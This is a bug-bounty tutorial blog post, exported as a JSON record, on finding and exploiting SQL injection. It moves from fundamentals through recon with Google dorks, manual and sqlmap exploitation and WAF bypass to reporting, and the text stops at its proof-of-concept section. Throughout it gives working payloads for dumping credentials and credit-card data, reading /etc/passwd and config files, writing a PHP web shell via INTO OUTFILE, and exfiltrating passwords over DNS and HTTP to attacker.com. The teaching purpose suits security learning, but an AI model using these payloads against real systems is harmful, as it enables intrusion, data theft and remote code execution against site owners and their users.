{"id":3387,"date":"2025-05-30T12:38:35","date_gmt":"2025-05-30T12:38:35","guid":{"rendered":"https:\/\/cybersecurityinfocus.com\/?p=3387"},"modified":"2025-05-30T12:38:35","modified_gmt":"2025-05-30T12:38:35","slug":"mastering-sql-injection-recon-step-by-step-guide-for-bug-bounty-hunters","status":"publish","type":"post","link":"https:\/\/cybersecurityinfocus.com\/?p=3387","title":{"rendered":"Mastering SQL Injection Recon \u2013 Step-by-Step Guide for Bug Bounty Hunters"},"content":{"rendered":"

Picture this: You\u2019re testing a website, and with a simple tweak to a login form\u2014BAM!<\/strong>\u2014you trick the database into spilling its secrets. No password? No problem. That\u2019s the power of SQL Injection (SQLi)<\/strong>, one of the most dangerous (and profitable) vulnerabilities in web security.<\/p>\n

Despite being around for decades, SQLi remains a goldmine for bug bounty hunters<\/strong>. Why? Because developers still screw it up\u2014constantly<\/strong>. From small apps to Fortune 500 companies, flawed database queries leave the door wide open for attackers. And where there\u2019s risk, there\u2019s reward.<\/p>\n

Why This Guide?<\/strong><\/h4>\n

Most SQLi tutorials either drown you in theory or tell you to blindly run sqlmap<\/strong> and pray. Not here. This guide is hands-on, tactical, and built for real-world hunting<\/strong>. You\u2019ll learn:
How to spot SQLi like a detective<\/strong>\u2014even when there are no obvious errors.
Manual exploitation tricks<\/strong> that automated tools miss.
How to bypass WAFs<\/strong> (because modern defenses don\u2019t scare us).
Turning flaws into bounties<\/strong> with professional reports that get paid.<\/p>\n

A Quick Reality Check<\/strong><\/h3>\n

This is not a \u201chack everything\u201d free-for-all.<\/strong> Unauthorized testing = illegal. Stick to bug bounty programs, CTFs, and legal labs<\/strong>. We play by the rules\u2014because getting banned (or worse) isn\u2019t worth it.<\/p>\n

Ready to level up your SQLi game<\/strong> and start cashing in? Let\u2019s dive in. <\/p>\n

Understanding SQL Injection Fundamentals<\/strong> <\/h2>\n

SQL Injection<\/a> (SQLi) is a vulnerability that lets attackers interfere with a web application\u2019s database queries<\/strong>. But to exploit it effectively, you need to understand how databases work, where injections happen, and what makes them dangerous<\/strong>.<\/p>\n

Let\u2019s break it down in simple terms.<\/p>\n

2.1 How SQL Queries Work in Web Applications<\/strong><\/h3>\n

When you log into a website, search for products, or load user profiles, the app communicates with a database<\/strong> using SQL (Structured Query Language)<\/strong>.<\/p>\n

Example: A Simple Login Query<\/strong><\/h4>\n

SELECT * FROM users WHERE username = ‘[user_input]’ AND password = ‘[user_input]’;<\/p>\n

If you enter admin and password123, the query becomes:<\/p>\n

SELECT * FROM users WHERE username = ‘admin’ AND password = ‘password123’;<\/p>\n

If the credentials match, you log in.<\/p>\n

Where SQL Injection Happens<\/strong><\/h3>\n

If the app doesn\u2019t properly sanitize user input<\/strong>, an attacker can modify the query<\/strong>. For example:<\/p>\n

Malicious Input:<\/strong> ‘ OR 1=1 —<\/p>\n

Modified Query:<\/strong><\/p>\n

SELECT * FROM users WHERE username = ” OR 1=1 –‘ AND password = ‘anything’;<\/p>\n

What Happens?<\/strong><\/p>\n

OR 1=1 \u2192 Always true, so the query returns all users<\/strong>.<\/p>\n

— \u2192 Comments out the rest, ignoring the password check.<\/p>\n

Result:<\/strong> You log in as the first user (often an admin).<\/p>\n

2.2 Types of SQL Injection<\/strong><\/h3>\n

1. In-Band SQLi (Direct Results Visible)<\/strong><\/h3>\n

Error-Based:<\/strong> The database leaks errors<\/strong> (e.g., syntax mistakes) that reveal sensitive data.<\/p>\n

Example:<\/em> ‘ AND 1=CONVERT(int, (SELECT table_name FROM information_schema.tables)) —<\/p>\n

Union-Based:<\/strong> Uses UNION SELECT to append stolen data<\/strong> to normal results.<\/p>\n

Example:<\/em> ‘ UNION SELECT username, password FROM users —<\/p>\n

2. Blind SQLi (No Direct Output)<\/strong><\/h3>\n

Boolean-Based:<\/strong> The app behaves differently based on true\/false conditions.<\/p>\n

Example:<\/em> ‘ AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username=’admin’)=’a’ —<\/p>\n

If the first letter of the password is \u2018a\u2019, the page loads normally. Otherwise, it fails.<\/p>\n

Time-Based:<\/strong> Uses delays<\/strong> (SLEEP(), WAITFOR DELAY) to infer data.<\/p>\n

Example:<\/em> ‘ AND IF(1=1, SLEEP(5), 0) —<\/p>\n

If the condition is true, the page takes 5 seconds<\/strong> to load.<\/p>\n

3. Out-of-Band SQLi (Data Exfiltrated via External Channels)<\/strong><\/h3>\n

Rare but powerful\u2014uses DNS or HTTP requests<\/strong> to leak data.<\/p>\n

Example (MySQL):<\/em>
sql ‘ UNION SELECT LOAD_FILE(CONCAT(‘\\\\’, (SELECT password FROM users LIMIT 1), ‘.attacker.com\\share\\’)) —<\/p>\n

If successful, the password is sent as a DNS lookup<\/strong> to the attacker\u2019s server.<\/p>\n

2.3 Common Database Systems & Their Quirks<\/strong><\/h3>\n

Different databases have unique syntax and functions<\/strong>, so your payloads must adapt.<\/p>\n

Database<\/strong>Key Differences<\/strong>MySQL<\/strong>Uses # or — for comments. Functions: VERSION(), DATABASE(), SLEEP().PostgreSQL<\/strong>Uses — for comments. Functions: current_user, pg_sleep(5).MS SQL Server<\/strong>Uses — or \/* *\/. Functions: WAITFOR DELAY ‘0:0:5’, SELECT @@version.Oracle<\/strong>Requires FROM dual. Comments: –. Functions: UTL_HTTP.request, DBMS_LOCK.SLEEP(5).SQLite<\/strong>Simple, often used in mobile apps. No WAITFOR DELAY\u2014time-based attacks are rare.<\/p>\n

Key Takeaways<\/strong><\/h3>\n

SQLi happens when user input is not sanitized.<\/strong>
Three main types:<\/strong> In-Band (Error\/Union), Blind (Boolean\/Time), Out-of-Band.
Different databases = different syntax.<\/strong> Adjust your payloads accordingly.<\/p>\n

Now that you get the basics<\/strong>, let\u2019s move to finding SQLi in the wild<\/strong>! <\/p>\n\n

Reconnaissance for SQL Injection Vulnerabilities<\/strong><\/h2>\n

Before you can exploit SQL injection, you need to find vulnerable inputs<\/strong>\u2014the places where a web app talks to its database. This is reconnaissance (recon)<\/strong>, and it\u2019s where most beginners fail.<\/p>\n

Let\u2019s break it down step by step.<\/p>\n

3.1 Identifying Potential Injection Points<\/strong><\/h3>\n

Not all input fields are vulnerable. You need to find where the app interacts with the database<\/strong>. Here\u2019s where to look:<\/p>\n

1. Input Fields (Forms, Search Boxes, Logins)<\/strong><\/h3>\n

Login pages<\/strong> (username, password)<\/p>\n

Search bars<\/strong> (products, users, articles)<\/p>\n

Contact forms, filters, comment sections<\/strong><\/p>\n

How to test?<\/strong><\/p>\n

Add a single quote (‘)<\/strong> and see if it breaks the query (error messages = good sign).<\/p>\n

Try basic payloads like:<\/p>\n

‘ OR 1=1 —<\/p>\n

” OR “1”=”1<\/p>\n

2. URL Parameters (GET Requests)<\/strong><\/h3>\n

Look for URLs like:<\/p>\n

https:\/\/example.com\/profile?id=1
\n https:\/\/example.com\/search?q=test<\/p>\n

Test by tampering with the parameter:<\/p>\n

https:\/\/example.com\/profile?id=1′
\n https:\/\/example.com\/profile?id=1 AND 1=1<\/p>\n

3. HTTP Headers (Hidden Inputs)<\/strong><\/h3>\n

Some apps use headers for database queries. Check:<\/p>\n

Cookies<\/strong> (session tokens, tracking IDs)<\/p>\n

User-Agent<\/strong> (some apps log it in the DB)<\/p>\n

Referer<\/strong> (some analytics systems store it)<\/p>\n

How to test?<\/strong><\/p>\n

Use Burp Suite or OWASP ZAP to modify headers and inject SQL:<\/p>\n

User-Agent: ‘ OR 1=1 —
\n Cookie: sessionid=1′ AND (SELECT 1 FROM users WHERE username=’admin’)=1 —<\/p>\n

4. API Endpoints (POST\/JSON\/XML Inputs)<\/strong><\/h3>\n

Many modern apps use APIs (REST, GraphQL).<\/p>\n

Test POST requests<\/strong> with JSON\/XML input:<\/p>\n

{ “username”: “admin’ –“, “password”: “anything” }<\/p>\n

3.2 Using Google Dorks to Find SQLi Targets<\/strong><\/h3>\n

Google can help you find potentially vulnerable sites<\/strong> with simple search tricks:<\/p>\n

Common Google Dorks for SQLi<\/strong><\/h3>\n

Search Query<\/strong>What It Finds<\/strong>inurl:index.php?id=URLs with numeric parameters (common in PHP apps)inurl:item.php?cat=Category pages (often SQL-based)intext:”Warning: mysql_fetch_array()\u201cSites leaking MySQL errorsinurl:login.phpLogin pages (SQLi in auth forms)<\/p>\n

Example:<\/strong><\/p>\n

inurl:index.php?id= site:example.com<\/p>\n

\u2192 Finds pages with id= parameters on example.com.<\/p>\n

3.3 Analyzing Error Messages for SQLi Clues<\/strong><\/h3>\n

Error messages = goldmine for SQLi.<\/strong><\/p>\n

Common Database Errors<\/strong><\/h3>\n

Error<\/strong>What It Means<\/strong>You have an error in your SQL syntaxMySQL syntax error (vulnerable!)Unclosed quotation markSQL injection likely possibleORA-00933: SQL command not properly endedOracle database errorMicrosoft OLE DB Provider for SQL ServerMSSQL database leak<\/p>\n

What to do?<\/strong><\/p>\n

If you see errors, the app is likely vulnerable<\/strong>.<\/p>\n

Try union-based or error-based<\/strong> exploitation next.<\/p>\n

3.4 Probing with Basic Payloads (Boolean Checks)<\/strong><\/h3>\n

Before full exploitation, confirm with boolean tests<\/strong>:<\/p>\n

1. Always True vs. Always False<\/strong><\/h3>\n

True Condition:<\/strong> ‘ OR 1=1 — \u2192 Page loads normally.<\/p>\n

False Condition:<\/strong> ‘ AND 1=2 — \u2192 Page breaks or shows no results.<\/p>\n

If behavior changes \u2192 SQLi is likely.<\/strong><\/p>\n

2. Time-Based Checks (Blind SQLi)<\/strong><\/h3>\n

MySQL:<\/strong> ‘ AND SLEEP(5) —<\/p>\n

MSSQL:<\/strong> ‘ WAITFOR DELAY ‘0:0:5’ —<\/p>\n

PostgreSQL:<\/strong> ‘ AND pg_sleep(5) —<\/p>\n

If the page delays \u2192 SQLi confirmed.<\/strong><\/p>\n

Key Takeaways<\/strong><\/h3>\n

Test all inputs<\/strong> (forms, URLs, headers, APIs).
Use Google Dorks<\/strong> to find vulnerable sites quickly.
Error messages = your best friend<\/strong> for detecting SQLi.
Boolean & time-based tests<\/strong> confirm blind SQLi.<\/p>\n

Now that you\u2019ve found a potential SQLi, it\u2019s time to exploit it properly<\/strong>! <\/p>\n

Manual SQL Injection Testing Techniques \u2013 Let\u2019s Get Hands-On!<\/strong><\/h2>\n

Alright, you\u2019ve found a juicy input field that might be vulnerable to SQLi. Now what? Time to stop guessing and start exploiting<\/strong>\u2014manually!<\/p>\n

Forget just running sqlmap like a script kiddie. Real bug hunters understand the attack<\/strong> before automating it. Let\u2019s break it down.<\/p>\n

4.1 Error-Based SQLi \u2013 When the Database Spills Its Guts<\/strong><\/h3>\n

Scenario:<\/strong> You type a ‘<\/strong> and boom\u2014the site vomits a database error. Jackpot!<\/p>\n

How to Exploit It:<\/strong><\/h3>\n

Break the query<\/strong> to force an error:<\/p>\n

‘ AND 1=CONVERT(int, (SELECT table_name FROM information_schema.tables)) —<\/p>\n

If you see a \u201cConversion failed\u201d<\/strong> error, congrats\u2014you just leaked a table name!<\/p>\n

Steal data from errors:<\/strong><\/p>\n

‘ AND 1=0 UNION SELECT 1,@@version,3 —<\/p>\n

Some apps display errors with query results<\/strong>\u2014now you see the database version.<\/p>\n

Why it\u2019s awesome:<\/strong><\/p>\n

Instant feedback.<\/p>\n

No guessing\u2014just straight-up data leaks in error messages<\/strong>.<\/p>\n

4.2 Union-Based SQLi \u2013 The Classic Data Heist<\/strong><\/h3>\n

Scenario:<\/strong> The site shows data (like product listings or user info), and you want to append stolen data<\/strong> to it.<\/p>\n

Step 1: Find the Number of Columns<\/strong><\/h3>\n

Use ORDER BY until the page breaks:<\/p>\n

‘ ORDER BY 5 — # Works?
\n ‘ ORDER BY 10 — # Breaks? <\/p>\n

If ORDER BY 5 works but ORDER BY 6 fails \u2192 5 columns<\/strong>.<\/p>\n

Step 2: Find Which Columns Are Visible<\/strong><\/h3>\n

Inject dummy data with UNION SELECT:<\/p>\n

‘ UNION SELECT 1,2,3,4,5 —<\/p>\n

If numbers 2 and 4<\/strong> appear on the page, those are displayed columns<\/strong>.<\/p>\n

Step 3: Steal Everything<\/strong><\/h3>\n

Replace visible columns with real data:<\/p>\n

‘ UNION SELECT 1,username,3,password,5 FROM users —<\/p>\n

Boom! Now you see usernames and passwords<\/strong> in the output.<\/p>\n

Why it\u2019s awesome:<\/strong><\/p>\n

Works on many older (and some newer) apps<\/strong>.<\/p>\n

Lets you dump entire tables<\/strong> in one go.<\/p>\n

4.3 Blind SQLi \u2013 When the App Plays Hard to Get<\/strong><\/h3>\n

Scenario:<\/strong> No errors, no data leaks\u2014just a subtle change<\/strong> in behavior. Time to play detective.<\/p>\n

Boolean-Based (Yes\/No Games)<\/strong><\/h3>\n

Ask the database true\/false questions<\/strong>:<\/p>\n

‘ AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username=’admin’)=’a’ —<\/p>\n

If the page loads normally \u2192 first letter of the password is a<\/strong>.<\/p>\n

If it breaks \u2192 try b<\/strong>, c<\/strong>, etc.<\/p>\n

Time-Based (The \u201cAre You Awake?\u201d Trick)<\/strong><\/h3>\n

Force delays to confirm SQLi:<\/p>\n

‘ AND IF(1=1, SLEEP(5), 0) — # Page takes 5 seconds? SQLi confirmed!<\/p>\n

Extract data one character at a time<\/strong>:<\/p>\n

‘ AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)=’a’, SLEEP(5), 0) —<\/p>\n

If the page hangs for 5 sec \u2192 first letter is a<\/strong>.<\/p>\n

Why it\u2019s awesome:<\/strong><\/p>\n

Works even on super locked-down apps<\/strong>.<\/p>\n

Slow but super stealthy<\/strong> (WAFs often miss it).<\/p>\n

4.4 Second-Order SQLi \u2013 The Sneaky Time Bomb<\/strong><\/h3>\n

Scenario:<\/strong> The app stores your input<\/strong> and uses it later in a vulnerable query.<\/p>\n

How It Works:<\/strong><\/h3>\n

You submit a \u201cusername\u201d like:<\/p>\n

admin’ —<\/p>\n

Later, the app runs:<\/p>\n

UPDATE users SET last_login=NOW() WHERE username=’admin’ –‘;<\/p>\n

Now everyone logs in as admin<\/strong> because the query is broken.<\/p>\n

Why it\u2019s scary:<\/strong><\/p>\n

Harder to detect (no immediate error).<\/p>\n

Can bypass front-end protections<\/strong>.<\/p>\n

Key Takeaways<\/strong><\/h3>\n

Error-Based SQLi<\/strong> \u2192 Leak data via error messages.
Union-Based SQLi<\/strong> \u2192 Steal data by appending it to legit results.
Blind SQLi<\/strong> \u2192 Use boolean or time delays to extract data bit by bit.
Second-Order SQLi<\/strong> \u2192 Poison the database for future attacks.<\/p>\n

Now you\u2019re not just finding SQLi\u2014you\u2019re exploiting it like a pro<\/strong>. <\/p>\n\n

5. Automated SQL Injection Detection Tools \u2013 Work Smarter, Not Harder<\/strong><\/h1>\n

Manually testing for SQLi is fun, but let\u2019s be real\u2014you don\u2019t have all day<\/strong>. That\u2019s where automation comes in. These tools do the heavy lifting so you can focus on exploiting the good stuff<\/strong>.<\/p>\n

Here\u2019s your cheat sheet for the best SQLi hunting tools<\/strong>.<\/p>\n

5.1 SQLmap \u2013 The Godfather of SQL Injection<\/strong><\/h3>\n

What It Does:<\/strong><\/h3>\n

Detects all types of SQLi<\/strong> (error-based, union, blind, out-of-band).<\/p>\n

Automatically dumps databases, tables, and even files<\/strong>.<\/p>\n

Bypasses WAFs<\/strong> (Web Application Firewalls) like a boss.<\/p>\n

Basic Usage:<\/strong><\/h3>\n

sqlmap -u “http:\/\/example.com\/page?id=1” –batch<\/p>\n

–batch \u2192 Auto-picks default options (no annoying prompts).<\/p>\n

Pro-Level Exploitation:<\/strong><\/h3>\n

Dump all databases:<\/strong><\/p>\n

sqlmap -u “http:\/\/example.com\/page?id=1” –dbs<\/p>\n

Steal table data:<\/strong><\/p>\n

sqlmap -u “http:\/\/example.com\/page?id=1” -D database_name -T users –dump<\/p>\n

Bypass WAFs with tamper scripts:<\/strong><\/p>\n

sqlmap -u “http:\/\/example.com\/page?id=1” –tamper=space2comment<\/p>\n

Why It\u2019s Awesome:<\/strong>
Saves hours of manual testing.<\/strong>
Can crack even tricky SQLi cases.<\/strong>
Has stealth modes to avoid detection.<\/strong><\/p>\n

5.2 Burp Suite \u2013 The Hacker\u2019s Best Friend<\/strong><\/h3>\n

What It Does:<\/strong><\/h3>\n

Intercepts web traffic (great for hidden SQLi in POST requests<\/strong>).<\/p>\n

Automates fuzzing<\/strong> (throwing SQLi payloads at inputs).<\/p>\n

How to Use It for SQLi:<\/strong><\/h3>\n

Intercept a request<\/strong> (e.g., login form submission).<\/p>\n

Send to Repeater<\/strong> (right-click \u2192 \u201cSend to Repeater\u201d).<\/p>\n

Modify parameters<\/strong> with SQLi payloads:<\/p>\n

username=admin’ OR 1=1 –&password=whatever<\/p>\n

Check responses<\/strong> for errors or unusual behavior.<\/p>\n

Bonus: Turbocharged Fuzzing with Intruder<\/strong><\/h3>\n

Highlight a parameter \u2192 \u201cSend to Intruder\u201d<\/strong>.<\/p>\n

Load SQLi payloads<\/strong> (predefined lists in Burp).<\/p>\n

Launch attack<\/strong> \u2192 See which payloads break the app.<\/p>\n

Why It\u2019s Awesome:<\/strong>
Perfect for testing APIs and complex inputs.<\/strong>
Combines well with manual testing.<\/strong><\/p>\n

5.3 OWASP ZAP \u2013 Free & Powerful Alternative<\/strong><\/h3>\n

What It Does:<\/strong><\/h3>\n

Scans for SQLi, XSS, and more<\/strong>.<\/p>\n

Great for beginners<\/strong> (easier setup than Burp).<\/p>\n

Basic Scan:<\/strong><\/h3>\n

Enter target URL \u2192 \u201cAttack\u201d \u2192 \u201cActive Scan\u201d<\/strong>.<\/p>\n

Check \u201cSQL Injection\u201d<\/strong> in the scan options.<\/p>\n

Review results<\/strong> for vulnerabilities.<\/p>\n

Why It\u2019s Awesome:<\/strong>
Open-source (free forever).<\/strong>
Good for quick scans.<\/strong><\/p>\n

5.4 NoSQLi Tools \u2013 For MongoDB, Firebase, etc.<\/strong><\/h3>\n

Not all databases use SQL! NoSQLi<\/strong> targets apps using:<\/p>\n

MongoDB<\/strong><\/p>\n

Firebase<\/strong><\/p>\n

CouchDB<\/strong><\/p>\n

Tool: NoSQLmap<\/strong><\/h3>\n

nosqlmap -u http:\/\/example.com\/api –data ‘{“user”:”*”}’ –method POST<\/p>\n

Tests for NoSQL injection<\/strong> (like {“$ne”: “”} bypasses).<\/p>\n

Why It\u2019s Awesome:<\/strong>
Finds vulnerabilities others miss.<\/strong><\/p>\n

5.5 Other Helpful Tools<\/strong><\/h3>\n

ToolPurposeHavij<\/strong>Old but GUI-friendly (Windows only).jSQL Injection<\/strong>Lightweight, Java-based.DSSS<\/strong> (Damn Small SQLi Scanner)Minimalist Python script.<\/p>\n

Key Takeaways<\/strong><\/h3>\n

SQLmap<\/strong> \u2192 Best for full exploitation<\/strong> (dumping data, bypassing WAFs).
Burp Suite<\/strong> \u2192 Best for manual testing + automation<\/strong>.
OWASP ZAP<\/strong> \u2192 Free alternative for quick scans<\/strong>.
NoSQLmap<\/strong> \u2192 For MongoDB\/Firebase<\/strong> injections.<\/p>\n

Automation saves time, but always verify manually!<\/strong> Some vulnerabilities only show up with human intuition<\/strong>.<\/p>\n\n

Bypassing Web Application Protections \u2013 Outsmarting WAFs Like a Ninja<\/strong><\/h2>\n

So you found a sweet SQLi vulnerability, but the site has a Web Application Firewall (WAF)<\/strong> blocking your attacks? No worries\u2014let\u2019s trick, evade, and bypass<\/strong> those defenses.<\/p>\n

WAFs (like Cloudflare, ModSecurity, AWS WAF) are designed to stop attacks, but they\u2019re not perfect<\/strong>. With the right tricks, you can slip past them.<\/p>\n

6.1 Evading WAF Rules \u2013 The Art of Sneaky Queries<\/strong><\/h3>\n

1. Obfuscation (Making Your Payload Unrecognizable)<\/strong><\/h3>\n

WAFs look for common SQLi patterns<\/strong> (UNION SELECT, OR 1=1, SLEEP()), so we disguise them:<\/p>\n

Hex Encoding<\/strong><\/p>\n

UNION SELECT \u2192 UNI\/**\/ON SEL\/**\/ECT
\n ‘ OR 1=1 — \u2192 x27 OR 1=1 —<\/p>\n

Comment Splitting<\/strong><\/p>\n

SELECT\/*random*\/username\/*random*\/FROM users<\/p>\n

String Concatenation<\/strong><\/p>\n

‘ OR ‘a’=’a’ \u2192 ‘ OR ‘a’=’b’=’a<\/p>\n

2. Case Variation & Null Bytes<\/strong><\/h3>\n

Randomize uppercase\/lowercase<\/strong> (some WAFs are case-sensitive):<\/p>\n

uNiOn SeLeCt 1,2,3<\/p>\n

Add null bytes<\/strong> (%00) to break WAF parsing:<\/p>\n

‘ OR 1=1%00 —<\/p>\n

3. Time-Based Bypass (When All Else Fails)<\/strong><\/h3>\n

If the WAF blocks SLEEP(), try alternative delays<\/strong>:<\/p>\n

MySQL:<\/strong><\/p>\n

‘ AND (SELECT COUNT(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C) —<\/p>\n

(This creates a heavy query<\/strong> that slows the server.)<\/p>\n

MSSQL:<\/strong><\/p>\n

‘; WAITFOR DELAY ‘0:0:5’ —<\/p>\n

6.2 Bypassing Input Sanitization<\/strong><\/h3>\n

Some apps filter or escape<\/strong> quotes (‘, “). Here\u2019s how to bypass:<\/p>\n

1. Using Non-String Inputs<\/strong><\/h3>\n

Numeric fields?<\/strong> No quotes needed!<\/p>\n

id=1 OR 1=1<\/p>\n

Boolean bypass:<\/strong><\/p>\n

admin’ AND true —<\/p>\n

2. Alternative Quote Styles<\/strong><\/h3>\n

Backticks (`)<\/strong> (MySQL):<\/p>\n

SELECT * FROM `users` WHERE `username`=0x61646d696e<\/p>\n

Brackets [ ]<\/strong> (MSSQL):<\/p>\n

SELECT * FROM [users] WHERE [username]=’admin’<\/p>\n

6.3 Advanced Bypass Techniques<\/strong><\/h3>\n

1. HTTP Parameter Pollution (HPP)<\/strong><\/h3>\n

Send duplicate parameters<\/strong> to confuse the WAF:<\/p>\n

GET \/page?id=1&id=2′ UNION SELECT 1,2,3 —<\/p>\n

(Some WAFs check only the first id=<\/strong>, while the server uses the last one<\/strong>.)<\/p>\n

2. JSON\/XML Injection<\/strong><\/h3>\n

If the app uses APIs<\/strong>, try:<\/p>\n

{ “user”: “admin’ –” }<\/p>\n

or<\/p>\n

<user>admin’ –<\/user><\/p>\n

3. Charset Bypass (Weird Encodings)<\/strong><\/h3>\n

UTF-8, UTF-16, URL encoding<\/strong>:<\/p>\n

%EF%BC%87 OR 1=1 — (Unicode apostrophe)<\/p>\n

6.4 Real-World WAF Bypass Examples<\/strong><\/h3>\n

Cloudflare Bypass<\/strong><\/h3>\n

id=1 AND\/*!50000 1=0*\/ UNION ALL SELECT 1,database(),3,4<\/p>\n

\/*!50000 … *\/ is a MySQL conditional comment<\/strong> that bypasses some WAFs.<\/p>\n

ModSecurity Bypass<\/strong><\/h3>\n

id=1′ AND 1=CONVERT(int,(SELECT table_name FROM information_schema.tables)) —<\/p>\n

Uses type conversion<\/strong> to hide the attack.<\/p>\n

Key Takeaways<\/strong><\/h3>\n

Obfuscation<\/strong> \u2192 Break up payloads with comments, hex, and random casing.
Alternative syntax<\/strong> \u2192 Use brackets, backticks, or no quotes.
Time delays<\/strong> \u2192 Heavy queries or WAITFOR DELAY can sneak past.
Parameter pollution & encoding<\/strong> \u2192 Confuse the WAF with duplicates or weird chars.<\/p>\n

WAFs are annoying, but not unbeatable.<\/strong> With these tricks, you can keep exploiting SQLi even on \u201cprotected\u201d sites<\/strong>. <\/p>\n\n

Exploitation & Data Exfiltration \u2013 Turning SQLi into Real Hacks<\/strong><\/h2>\n

So you\u2019ve found a SQL injection vulnerability\u2014now what?<\/strong> Time to turn that bug into stolen data, admin access, or even full system control<\/strong>.<\/p>\n

This is where the real fun begins<\/strong> for bug hunters. Let\u2019s break down how to exploit SQLi like a pro<\/strong> and exfiltrate data efficiently.<\/p>\n

7.1 Extracting Database Schema (Tables & Columns)<\/strong><\/h3>\n

Before stealing data, you need to map the database structure<\/strong>.<\/p>\n

Step 1: List All Databases<\/strong><\/h3>\n

‘ UNION SELECT schema_name, NULL FROM information_schema.schemata —<\/p>\n

(Returns all database names on the server.)<\/em><\/p>\n

Step 2: Dump Tables from a Database<\/strong><\/h3>\n

‘ UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = ‘public’ —<\/p>\n

(Lists all tables in the public schema.)<\/em><\/p>\n

Step 3: Get Columns from a Table<\/strong><\/h3>\n

‘ UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = ‘users’ —<\/p>\n

(Shows all columns in the users table.)<\/em><\/p>\n

Why this matters:<\/strong><\/p>\n

You can\u2019t steal data if you don\u2019t know where it\u2019s stored<\/strong>.<\/p>\n

Works on MySQL, PostgreSQL, MSSQL, Oracle<\/strong> (with slight syntax tweaks).<\/p>\n

7.2 Dumping Sensitive Data (Usernames, Passwords, PII)<\/strong><\/h3>\n

Now, let\u2019s steal the good stuff<\/strong>.<\/p>\n

Example: Stealing User Credentials<\/strong><\/h3>\n

‘ UNION SELECT username, password FROM users —<\/p>\n

(Dumps logins in username:password format.)<\/em><\/p>\n

Targeting Specific Users (Like Admins)<\/strong><\/h3>\n

‘ UNION SELECT username, password FROM users WHERE username = ‘admin’ —<\/p>\n

Grabbing Credit Cards, Emails, or Other PII<\/strong><\/h3>\n

‘ UNION SELECT email, credit_card FROM customers —<\/p>\n

Pro Tip:<\/strong><\/p>\n

If passwords are hashed<\/strong>, check for weak algorithms (MD5, SHA1).<\/p>\n

Some apps store plaintext passwords<\/strong> (yikes!).<\/p>\n

7.3 Reading Local Files (MySQL\u2019s LOAD_FILE)<\/strong><\/h3>\n

If the database user has file-read privileges<\/strong>, you can leak server files<\/strong>.<\/p>\n

Example: Reading \/etc\/passwd (Linux)<\/strong><\/h3>\n

‘ UNION SELECT LOAD_FILE(‘\/etc\/passwd’), NULL —<\/p>\n

(Shows system users\u2014useful for further attacks.)<\/em><\/p>\n

Stealing Config Files (Database Creds, API Keys)<\/strong><\/h3>\n

‘ UNION SELECT LOAD_FILE(‘\/var\/www\/html\/config.php’), NULL —<\/p>\n

(Might contain passwords for other systems.)<\/em><\/p>\n

Works on:<\/strong><\/p>\n

MySQL (LOAD_FILE)<\/p>\n

PostgreSQL (pg_read_file)<\/p>\n

MSSQL (OPENROWSET)<\/p>\n

7.4 Writing to Files (Gaining RCE via SQLi)<\/strong><\/h3>\n

If you can write files<\/strong>, you might get remote code execution (RCE)<\/strong>.<\/p>\n

Example: Uploading a PHP Shell (MySQL)<\/strong><\/h3>\n

‘ UNION SELECT “<?php system($_GET[‘cmd’]); ?>”, NULL INTO OUTFILE ‘\/var\/www\/html\/shell.php’ —<\/p>\n

Now, visit:<\/p>\n

http:\/\/victim.com\/shell.php?cmd=id<\/p>\n

(Executes OS commands!)<\/em><\/p>\n

Requirements:<\/strong><\/p>\n

Database user must have file-write permissions<\/strong>.<\/p>\n

You need to know the web root path<\/strong> (\/var\/www\/html).<\/p>\n

Warning:<\/strong><\/p>\n

This is highly aggressive<\/strong>\u2014only do it in authorized pentests<\/strong>.<\/p>\n

7.5 Advanced Exfiltration Techniques<\/strong><\/h3>\n

1. DNS Exfiltration (For Blind SQLi)<\/strong><\/h3>\n

If the app doesn\u2019t show data<\/strong>, leak it via DNS requests<\/strong>:<\/p>\n

‘ UNION SELECT LOAD_FILE(CONCAT(‘\\\\’,(SELECT password FROM users LIMIT 1),’.attacker.com\\share\\’)) —<\/p>\n

The password is sent as a subdomain lookup<\/strong> to your server.<\/p>\n

2. Out-of-Band (OOB) via HTTP Requests<\/strong><\/h3>\n

‘ UNION SELECT NULL,HTTPGET(‘http:\/\/attacker.com\/leak?data=’||(SELECT password FROM users LIMIT 1)) —<\/p>\n

(Requires special DB functions like Oracle\u2019s UTL_HTTP.)<\/em><\/p>\n

Key Takeaways<\/strong><\/h3>\n

First, map the database<\/strong> (schemas, tables, columns).
Dump credentials, PII, or sensitive data<\/strong> with UNION SELECT.
Read server files<\/strong> if LOAD_FILE is allowed.
Write a web shell<\/strong> for RCE (if permissions allow).
Use DNS or HTTP exfiltration<\/strong> for blind SQLi.<\/p>\n

Now you\u2019re not just finding SQLi\u2014you\u2019re weaponizing it<\/strong>. <\/p>\n

Reporting SQL Injection Vulnerabilities \u2013 Get Paid, Don\u2019t Get Ignored<\/strong><\/h2>\n

You\u2019ve found a SQLi vulnerability\u2014now what?<\/strong> If you don\u2019t report it properly, the company might ignore you, lowball your bounty, or even ban you<\/strong>.<\/p>\n

Let\u2019s turn your hack into cold, hard cash<\/strong> with a professional, high-impact report<\/strong>.<\/p>\n

8.1 Crafting a High-Quality Bug Report<\/strong><\/h3>\n

Your report should be clear, concise, and convincing<\/strong>.<\/p>\n

Essential Sections:<\/strong><\/h3>\n

Title<\/strong> (Short & scary):<\/p>\n

\u201cPossible SQL Injection\u201d<\/em><\/p>\n

\u201cBlind SQL Injection in \/admin\/login.php (Time-Based Exploit)\u201d<\/em><\/p>\n

Vulnerability Details<\/strong><\/p>\n

Type:<\/strong> SQL Injection (Error-Based\/Blind\/Union)<\/p>\n

Endpoint:<\/strong> https:\/\/example.com\/login.php<\/p>\n

Parameter:<\/strong> username (POST)<\/p>\n

Steps to Reproduce<\/strong> (Like a recipe):<\/p>\n

1. Go to https:\/\/example.com\/login
\n 2. Enter username: `admin’ AND SLEEP(5)–`
\n 3. Observe 5-second delay \u2192 SQLi confirmed <\/p>\n

Impact<\/strong> (Why should they care?):<\/p>\n

\u201cAllows attackers to extract sensitive data (usernames, passwords, PII) and potentially gain admin access.\u201d<\/em><\/p>\n

Remediation<\/strong> (How to fix it):<\/p>\n

\u201cUse parameterized queries (prepared statements) instead of string concatenation.\u201d<\/em><\/p>\n

8.2 Providing Proof of Concept (PoC)<\/strong><\/h3>\n

No PoC = No bounty.<\/strong> Prove it works with:<\/p>\n

